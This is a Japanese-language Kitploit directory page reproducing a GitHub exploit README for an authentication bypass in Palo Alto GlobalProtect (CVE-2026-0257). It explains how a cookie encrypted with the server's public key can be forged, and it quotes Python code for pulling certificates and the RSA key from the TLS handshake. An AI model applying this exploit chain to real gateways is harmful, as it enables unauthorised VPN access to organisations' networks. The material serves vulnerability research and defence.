Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OSには、GlobalProtectポータルとゲートウェイの欠陥に起因する認証バイパスの脆弱性が存在します。攻撃者はこれを利用して不正なVPN接続を確立できる可能性があります。この脆弱性を悪用するには、ポータルまたはゲートウェイへのネットワークアクセスが必要です。 | Kitploit
ツール/GitHubGitHub/tushargurav28/cve-2026-0257
脆弱性分析エクスプロイトウェブアプリケーション悪用ネットワークセキュリティ暗号化ペネトレーションテスト認証レッドチーミング
GitHubtushargurav28/cve-2026-0257

CVE-2026-0257

Palo Alto Networks PAN-OSには、GlobalProtectポータルとゲートウェイの欠陥に起因する認証バイパスの脆弱性が存在します。攻撃者はこれを利用して不正なVPN接続を確立できる可能性があります。この脆弱性を悪用するには、ポータルまたはゲートウェイへのネットワークアクセスが必要です。

リポジトリを見る
3314ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-0257: GlobalProtect 認証バイパス

概要

このエクスプロイトは、サーバーの公開されているTLS証明書のみを使用して認証クッキーを偽造することで、Palo Alto GlobalProtect ゲートウェイ/ポータルへの未認証VPNアクセスを実現します。


核心となる脆弱性(なぜ機能するのか)

GlobalProtect は、クライアントの認証を可能にする事前認証クッキー(portal-userauthcookie)を使用しています。ここに致命的な欠陥があります:

Normal Flow:
  1. Client authenticates (username + password)
  2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
  3. Client stores the encrypted cookie
  4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it

The Bug:
  The server ONLY checks if the cookie decrypts successfully with its private key.
  It does NOT verify WHO encrypted it or if the plaintext content is legitimate.

RSA公開鍵はサーバーのTLS証明書に埋め込まれており(接続する誰でもアクセス可能)、そのため任意の攻撃者は以下を行うことができます:

  1. TLS証明書から公開鍵を取得する
  2. 任意のユーザー名でクッキーを偽造する
  3. 公開鍵で暗号化する
  4. サーバーに送信する → サーバーは復号する → 有効として受け入れる

これは教科書どおりの壊れた認証の欠陥です — デジタル署名またはHMACが必要な場面で暗号化を使用しています。


エクスプロイトチェーン(5ステップ)

flowchart TD
    A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
    B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
    C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
    D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
    E --> F["Step 6: POST to /ssl-vpn/login.esp"]
    F --> G{"Server Decrypts Cookie"}
    G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
    G -->|"Invalid"| I[" Rejected"]

ステップ 1: 生のTLS ClientHelloを構築する

なぜ生(raw)なのか? サーバーの証明書をDER(生バイナリ)形式で取得する必要があるためです。Python の ssl モジュールは内部で完全なTLSハンドシェイクを実行し、同じ方法で生の証明書バイトを公開しません。生のTCP接続を行い、手作りしたClientHelloを送信することで、サーバーの応答をバイトレベルで傍受できます。

ワイヤーフォーマット

TLSレコードは次のようになります:

┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes)                      │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Type │ Version  │   Length   │                 │
│ │ 0x16 │ 0x03 01  │  2 bytes   │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Handshake Message                                │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Type │   Length   │      Body               │  │
│ │ 0x01 │  3 bytes   │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

コード: build_hello()

ClientHelloボディには以下が含まれます:

フィールド値目的
バージョン0x03 0x03 (TLS 1.2)TLS 1.2に対応していることをサーバーに伝える
ランダム4バイトのタイムスタンプ + 28バイトのランダム値ハンドシェイク用のノンス
セッションID0x00 (空)セッション再開なし
暗号スイートTLS_RSA_WITH_AES_128_CBC_SHA を含む9スイート重要: RSAのみの暗号スイートを含めることで、サーバーにRSA証明書の使用を強制します
圧縮0x00 (なし)必須

含まれる拡張:

拡張ID目的
SNI(サーバー名表示)0x0000接続先のホスト名をサーバーに伝える
署名アルゴリズム0x000Dサポートする署名アルゴリズムを通知する
サポート対象グループ0x000AサポートするEC曲線(P-256、P-384、P-521)
ECポイント形式0x000B非圧縮ECポイント

[!NOTE] 暗号スイートには意図的にRSA鍵交換暗号(0x002F = TLS_RSA_WITH_AES_128_CBC_SHA)が含まれています。これにより、サーバーはECDSA証明書ではなくRSA証明書で応答するように促されます。これはエクスプロイトがRSAでのみ機能するため重要です。


ステップ 2: サーバーの応答を受信して解析する

ClientHelloを送信した後、サーバーは複数のTLSレコードを返します:

Server Response:
  ┌─────────────────┐
  │ ServerHello      │  (handshake type 2)
  ├─────────────────┤
  │ Certificate      │  (handshake type 11) ← WE WANT THIS
  ├─────────────────┤
  │ ServerKeyExchange│  (handshake type 12, optional)
  ├─────────────────┤
  │ ServerHelloDone  │  (handshake type 14) ← STOP SIGNAL
  └─────────────────┘

コード: parse_certs()

フェーズ1 — TLSレコードヘッダーの除去:

各TLSレコードには5バイトのヘッダーがあります:[type(1)] [version(2)] [length(2)]。コードはすべてのレコードをスキャンし、type == 22(Handshake)のものについて、そのペイロードを連結します:

while i + 5 <= len(data):
    t = data[i]                              # content type
    rl = (data[i + 3] << 8) | data[i + 4]   # record length
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # grab payload
    i += 5 + rl                              # next record

フェーズ2 — Certificateメッセージ(タイプ11)の検出:

ハンドシェイクストリーム内では、各メッセージに4バイトのヘッダーがあります:[type(1)] [length(3)]。type == 11をスキャンします:

while j + 4 <= len(hs):
    ht = hs[j]                                           # handshake type
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # 3-byte length
    if ht == 11:  # Certificate!
        # Parse the certificate list inside

フェーズ3 — 個々のDER証明書の抽出:

Certificateメッセージには証明書のリストが含まれ、各証明書には3バイトの長さが前置されます:

Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes)      │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes)           │
│ Cert 1 DER data (variable)       │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes)           │
│ Cert 2 DER data (variable)       │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

私たちのテスト実行では、3つの証明書(リーフ証明書、中間CA、ルートCA)を取得しました。

コード: has_done()

この関数はServerHelloDone(ハンドシェイクタイプ14)をスキャンします。これはサーバーが送信を完了したことを示し、読み取りを停止できることを知らせます。


ステップ 3: X.509証明書を解析する(ASN.1/DER)

X.509証明書はDER(Distinguished Encoding Rules)でエンコードされており、これはASN.1(Abstract Syntax Notation One)に基づくバイナリ形式です。

ASN.1 TLV(タグ-長さ-値)形式

DER内のすべての要素は次のとおりです:

┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload)   │
│ 1B  │ 1-5B  │ variable          │
└─────┴────────┴───────────────────┘

長さのエンコード:

  • バイトが 0x80 未満の場合:長さはそのバイト自体(短形式)
  • バイトが 0x80 以上の場合:下位7ビット = 長さをエンコードする後続バイト数(長形式)
# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes

コード: rd_tl()

def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # long form?
        nb = length & 0x7F              # how many bytes follow
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = start of value

X.509証明書の構造

Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (optional)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ WE WANT THIS ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (optional)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

コード: get_rsa_key()

この関数は、タグ+長さを読み取り、不要なフィールドをスキップしながらDERツリーを移動します:

ツールをダウンロード